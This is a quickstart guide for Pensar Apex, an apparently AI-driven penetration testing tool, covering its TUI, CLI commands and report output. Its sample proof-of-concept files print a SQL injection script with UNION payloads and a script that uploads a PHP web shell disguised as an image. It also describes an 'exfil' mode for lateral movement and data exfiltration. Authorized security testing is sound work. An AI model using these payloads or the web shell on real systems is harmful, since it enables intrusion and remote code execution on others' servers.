Quickstart Guide

Get started with Pensar Apex and run your first automated penetration test in minutes. This guide walks you through launching the tool, configuring it, and running both interactive and command-line pentests.

Before starting, ensure you have:

Installed Pensar Apex (Installation Guide)
Configured an AI provider API key
Run pensar doctor to verify your setup

Launch the Interactive TUI

The easiest way to get started is using the interactive Terminal User Interface (TUI):

pensar

First Launch Experience

Accept Responsible Use Disclosure

On first launch, you’ll see the Responsible Use Disclosure screen:

╔══════════════════════════════════════════════════════════════╗
║             RESPONSIBLE USE DISCLOSURE                       ║
╟──────────────────────────────────────────────────────────────╢
║                                                              ║
║  This software is for authorized security testing only.     ║
║                                                              ║
║  You may only test systems you own or have explicit         ║
║  written permission to test.                                ║
║                                                              ║
║  By using this tool, you agree to:                          ║
║    • Use it only for authorized testing                     ║
║    • Comply with all applicable laws                        ║
║    • Not use it for malicious purposes                      ║
║                                                              ║
╟──────────────────────────────────────────────────────────────╢
║  Press Enter to accept and continue                         ║
╚══════════════════════════════════════════════════════════════╝

Press Enter to accept and continue.

Configure AI Provider (if needed)

If no API key is detected, you’ll be routed to the Provider Manager screen:

Select your AI provider (Anthropic, OpenAI, etc.)
Enter your API key
Choose a default AI model

The TUI will guide you through this configuration. Your settings are saved to ~/.pensar/config.json.

Start Testing

Once configured, you’ll see the main Pensar Apex interface with options to:

Start a new pentest session
Resume previous sessions
Configure settings
View keyboard shortcuts

Use these keyboard shortcuts to navigate the TUI:

Essential Shortcuts

Ctrl+P: Open command palette (access all features)
Ctrl+C: Cancel current operation (press twice to exit)
Tab: Switch between input fields
↑/↓: Navigate through lists and history
Enter: Select/confirm
Esc: Go back/cancel

Session Management

Ctrl+S: View and manage sessions
Ctrl+N: Start new pentest session
Ctrl+R: Resume previous session

Advanced

Ctrl+L: Clear screen
Ctrl+H: Show help dialog
Ctrl+K: Show keyboard shortcuts
Ctrl+Q: Quick exit

Run Your First Pentest

Let’s run a penetration test against a target. We’ll demonstrate both interactive and command-line approaches.

Interactive Mode (TUI)

Launch Pensar

pensar

Start New Pentest

Press Ctrl+P to open the command palette
Select “Start Pentest” or press Ctrl+N
Choose pentest type:
- Blackbox: Test a live target without source code
- Whitebox: Test with source code access
- Targeted: Focus on specific objectives

Configure Target

Enter your target details:

Target URL/IP: https://example.com
Source path (whitebox only): /path/to/source
AI Model: Select from available models

Watch the Agent Work

The AI agent will begin testing, showing real-time progress:

Attack surface discovery
Endpoint enumeration
Vulnerability testing
Exploitation attempts
PoC generation

Review Results

When complete, view:

Discovered vulnerabilities
Severity ratings
Proof-of-concept code
Detailed findings report

Command-Line Mode

For automation and scripting, use the CLI directly:

Blackbox Penetration Test

Test a live target without source code access:

pensar pentest --target https://example.com

============================================================
PENTEST ORCHESTRATION
============================================================
Target:  https://example.com
Model:   claude-sonnet-4-5

→ Analyzing attack surface...
✓ Attack surface analysis completed
→ Discovered 12 endpoints
→ Testing authentication mechanisms...
✓ Authentication testing completed
→ Testing for common vulnerabilities...

[... AI agent output continues ...]

→ Generating proof-of-concept exploits...
✓ PoC generation completed

============================================================
RESULTS
============================================================
Findings:  7
Path:      ~/.pensar/sessions/2026-03-05_example-com/findings.json
POCs:      ~/.pensar/sessions/2026-03-05_example-com/pocs/
Report:    ~/.pensar/sessions/2026-03-05_example-com/report.md

Whitebox Penetration Test

Test with source code access for deeper analysis:

pensar pentest --target https://example.com --cwd /path/to/source

============================================================
PENTEST ORCHESTRATION
============================================================
Target:  https://example.com
Cwd:     /path/to/source (whitebox)
Model:   claude-sonnet-4-5

→ Analyzing source code...
✓ Source analysis completed
→ Discovered 23 endpoints from code
→ Analyzing dependencies...
✓ Found 3 outdated dependencies with known vulnerabilities
→ Testing authentication logic...
→ Analyzing authorization checks...

[... AI agent output continues ...]

============================================================
RESULTS
============================================================
Findings:  12
Path:      ~/.pensar/sessions/2026-03-05_example-com-whitebox/findings.json
POCs:      ~/.pensar/sessions/2026-03-05_example-com-whitebox/pocs/
Report:    ~/.pensar/sessions/2026-03-05_example-com-whitebox/report.md

Targeted Penetration Test

Focus on specific vulnerabilities or objectives:

pensar targeted-pentest \
  --target https://example.com \
  --objective "Test for SQL injection vulnerabilities" \
  --objective "Check for authentication bypass" \
  --objective "Test file upload functionality"

============================================================
TARGETED PENTEST
============================================================
Target:  https://example.com
Model:   claude-sonnet-4-5
Objectives:
  1. Test for SQL injection vulnerabilities
  2. Check for authentication bypass
  3. Test file upload functionality

→ Analyzing target for SQL injection points...
→ Found 5 potential injection points
→ Testing /api/users endpoint...
✓ SQL injection confirmed in 'id' parameter
→ Generating PoC...

→ Testing authentication mechanisms...
→ Found JWT implementation
→ Testing token validation...

→ Analyzing file upload endpoints...
→ Found /upload endpoint
→ Testing file type restrictions...
✓ Unrestricted file upload vulnerability confirmed

============================================================
RESULTS
============================================================
Findings:  3
Path:      ~/.pensar/sessions/2026-03-05_targeted-example/findings.json
POCs:      ~/.pensar/sessions/2026-03-05_targeted-example/pocs/

CLI Options

string

required

Target URL, domain, or IP address to test

--target https://example.com
--target 192.168.1.100
--target example.com

string

Path to source code for whitebox testing

--cwd /path/to/source

string

Pentest mode: exfil enables pivoting and flag extraction

--mode exfil

string

AI model to use (default: claude-sonnet-4-5)

--model claude-sonnet-4-5
--model gpt-4o

string

Testing objective for targeted pentests (can be used multiple times)

--objective "Test authentication"
--objective "Check for XSS"

Understanding the Output

Findings File

Vulnerabilities are saved in structured JSON format at:

~/.pensar/sessions/<session-id>/findings.json

[
  {
    "id": "finding-001",
    "title": "SQL Injection in User Search",
    "severity": "high",
    "type": "sql-injection",
    "endpoint": "/api/users/search",
    "parameter": "query",
    "description": "The user search endpoint is vulnerable to SQL injection through the 'query' parameter.",
    "impact": "Attacker can extract sensitive database contents, modify data, or gain unauthorized access.",
    "reproduction": [
      "1. Navigate to /api/users/search",
      "2. Send request with payload: query=admin' OR '1'='1",
      "3. Observe database error message revealing injection point"
    ],
    "poc": "pocs/sql-injection-001.py",
    "remediation": "Use parameterized queries or prepared statements. Never concatenate user input directly into SQL queries."
  },
  {
    "id": "finding-002",
    "title": "Unrestricted File Upload",
    "severity": "critical",
    "type": "file-upload",
    "endpoint": "/api/upload",
    "description": "The upload endpoint does not validate file types or content, allowing arbitrary file upload.",
    "impact": "Attacker can upload malicious files including web shells, leading to remote code execution.",
    "reproduction": [
      "1. Navigate to /api/upload",
      "2. Upload a PHP web shell disguised as an image",
      "3. Access uploaded file to execute arbitrary commands"
    ],
    "poc": "pocs/file-upload-002.py",
    "remediation": "Implement strict file type validation, content scanning, and store uploads outside the web root."
  }
]

Proof-of-Concept Files

Exploits are saved in the pocs/ directory:

~/.pensar/sessions/<session-id>/pocs/

#!/usr/bin/env python3
"""
SQL Injection PoC for /api/users/search endpoint
Target: https://example.com
"""

import requests

target = "https://example.com/api/users/search"

# Basic SQL injection payload
payload = {
    "query": "admin' OR '1'='1-- "
}

response = requests.get(target, params=payload)

if response.status_code == 200:
    print("[+] SQL Injection successful!")
    print(f"[+] Response: {response.text}")
else:
    print(f"[-] Request failed: {response.status_code}")

# Advanced exploitation: Extract database version
payloads = [
    "admin' UNION SELECT version()-- ",
    "admin' UNION SELECT database()-- ",
    "admin' UNION SELECT user()-- "
]

for payload_str in payloads:
    response = requests.get(target, params={"query": payload_str})
    print(f"\n[*] Testing: {payload_str}")
    print(f"[*] Response: {response.text[:200]}")

#!/usr/bin/env python3
"""
Unrestricted File Upload PoC for /api/upload endpoint
Target: https://example.com
"""

import requests

target = "https://example.com/api/upload"

# Create a simple PHP web shell
webshell_content = b"<?php system($_GET['cmd']); ?>"

files = {
    "file": ("shell.php", webshell_content, "image/jpeg")
}

response = requests.post(target, files=files)

if response.status_code == 200:
    print("[+] File upload successful!")
    data = response.json()
    uploaded_path = data.get("path", "unknown")
    print(f"[+] File uploaded to: {uploaded_path}")
    print(f"[+] Try accessing: https://example.com{uploaded_path}?cmd=whoami")
else:
    print(f"[-] Upload failed: {response.status_code}")

Report File

A human-readable markdown report is generated at:

~/.pensar/sessions/<session-id>/report.md

Advanced Usage

Using Different AI Models

Specify a custom AI model for your pentest:

pensar pentest --target https://example.com --model gpt-4o

Available models depend on your configured provider. Common options:

claude-sonnet-4-5 (Anthropic, recommended)
claude-opus-4 (Anthropic, most capable)
gpt-4o (OpenAI)
gpt-4-turbo (OpenAI)

Exfil Mode for Red Teams

Enable pivoting and flag extraction for CTF or red team exercises:

pensar pentest --target https://example.com --mode exfil

Exfil mode enables more aggressive testing techniques including pivoting, lateral movement, and data exfiltration. Only use on systems you have explicit permission to test.

Resume Previous Sessions

View and resume previous pentest sessions:

pensar
# Press Ctrl+S to view sessions
# Select a session to resume

Or access session files directly:

ls -la ~/.pensar/sessions/

Using Local Models (vLLM)

For air-gapped environments or local model deployment:

Start vLLM Server

vllm serve meta-llama/Llama-3-70B-Instruct --port 8000

Configure Pensar

export LOCAL_MODEL_URL="http://localhost:8000/v1"

Select Custom Model

In the TUI Models screen, enter your model name in the “Custom local model (vLLM)” input:

meta-llama/Llama-3-70B-Instruct

Best Practices

Start with Targeted Testing

When testing a new application, start with targeted pentests focused on specific objectives. This helps you understand the agent’s capabilities and provides faster, more focused results.

pensar targeted-pentest --target https://example.com \
  --objective "Test authentication mechanisms"

Review Agent Progress

Monitor the agent’s actions in real-time to:

Understand its testing methodology
Learn new attack techniques
Catch false positives early
Stop tests that are going off-track

Validate Findings

Always manually validate vulnerabilities before reporting:

Run the provided PoC scripts
Verify the impact and exploitability
Test remediation recommendations
Document additional context

Use Whitebox When Possible

If you have access to source code, use whitebox testing for:

More comprehensive vulnerability coverage
Logic flaw detection
Configuration issue identification
Faster and more accurate results

Save and Organize Sessions

Use descriptive names for sessions and organize findings:

~/.pensar/sessions/
├── 2026-03-05_prod-api-blackbox/
├── 2026-03-05_prod-api-whitebox/
└── 2026-03-06_staging-webapp/

Troubleshooting

Agent is stuck or not making progress

Symptoms: Agent repeats the same actions or doesn’t discover anythingSolutions:

Press Ctrl+C to cancel the current operation
Try a different AI model (Anthropic models work best)
Use targeted pentest with specific objectives
Verify the target is accessible and responding

No vulnerabilities found

Symptoms: Pentest completes but reports 0 findingsSolutions:

The target may be well-secured (this is good!)
Try whitebox testing with source code access
Use targeted testing with specific vulnerability types
Ensure nmap is installed for network scanning
Check that the target is reachable and responding

API rate limits or quota exceeded

Symptoms: Agent stops with API errorsSolutions:

Check your AI provider’s rate limits and quotas
Wait a few minutes and resume the session
Switch to a different AI provider
Consider using a local vLLM model for unlimited usage

PoC scripts don't work

Symptoms: Generated exploit code fails to runSolutions:

Verify the target is still vulnerable (may have been patched)
Check for missing dependencies in the PoC script
Manually adjust the script based on error messages
The vulnerability may be a false positive—validate manually

Next Steps

CLI Reference

Complete command-line reference for all pensar commands

TUI Guide

Learn advanced TUI features and keyboard shortcuts

Configuration

Customize Pensar Apex settings and preferences

Environment Variables

Configure Pensar Apex for CI/CD and automation

Get Help

Documentation

Browse the full documentation

Discord Community

Ask questions and share experiences

GitHub Issues

Report bugs or request features

Get Started

Core Concepts

Command Reference

Configuration

Guides

Security

Quickstart

Quickstart Guide

Launch the Interactive TUI

First Launch Experience

TUI Navigation

Run Your First Pentest

Interactive Mode (TUI)

Command-Line Mode

Blackbox Penetration Test

Whitebox Penetration Test

Targeted Penetration Test

CLI Options

Understanding the Output

Findings File

Proof-of-Concept Files

Report File

Advanced Usage

Using Different AI Models

Exfil Mode for Red Teams

Resume Previous Sessions

Using Local Models (vLLM)

Best Practices

Troubleshooting

Next Steps

CLI Reference

TUI Guide

Configuration

Environment Variables

Get Help

Documentation

Discord Community

GitHub Issues

​Quickstart Guide

​Launch the Interactive TUI

​First Launch Experience

​TUI Navigation

​Run Your First Pentest

​Interactive Mode (TUI)

​Command-Line Mode

​Blackbox Penetration Test

​Whitebox Penetration Test

​Targeted Penetration Test

​CLI Options

​Understanding the Output

​Findings File

​Proof-of-Concept Files

​Report File

​Advanced Usage

​Using Different AI Models

​Exfil Mode for Red Teams

​Resume Previous Sessions

​Using Local Models (vLLM)

​Best Practices

​Troubleshooting

​Next Steps

CLI Reference

TUI Guide

Configuration

Environment Variables

​Get Help

Documentation

Discord Community

GitHub Issues

Quickstart Guide

Launch the Interactive TUI

First Launch Experience

TUI Navigation

Run Your First Pentest

Interactive Mode (TUI)

Command-Line Mode

Blackbox Penetration Test

Whitebox Penetration Test

Targeted Penetration Test

CLI Options

Understanding the Output

Findings File

Proof-of-Concept Files

Report File

Advanced Usage

Using Different AI Models

Exfil Mode for Red Teams

Resume Previous Sessions

Using Local Models (vLLM)

Best Practices

Troubleshooting

Next Steps

Get Help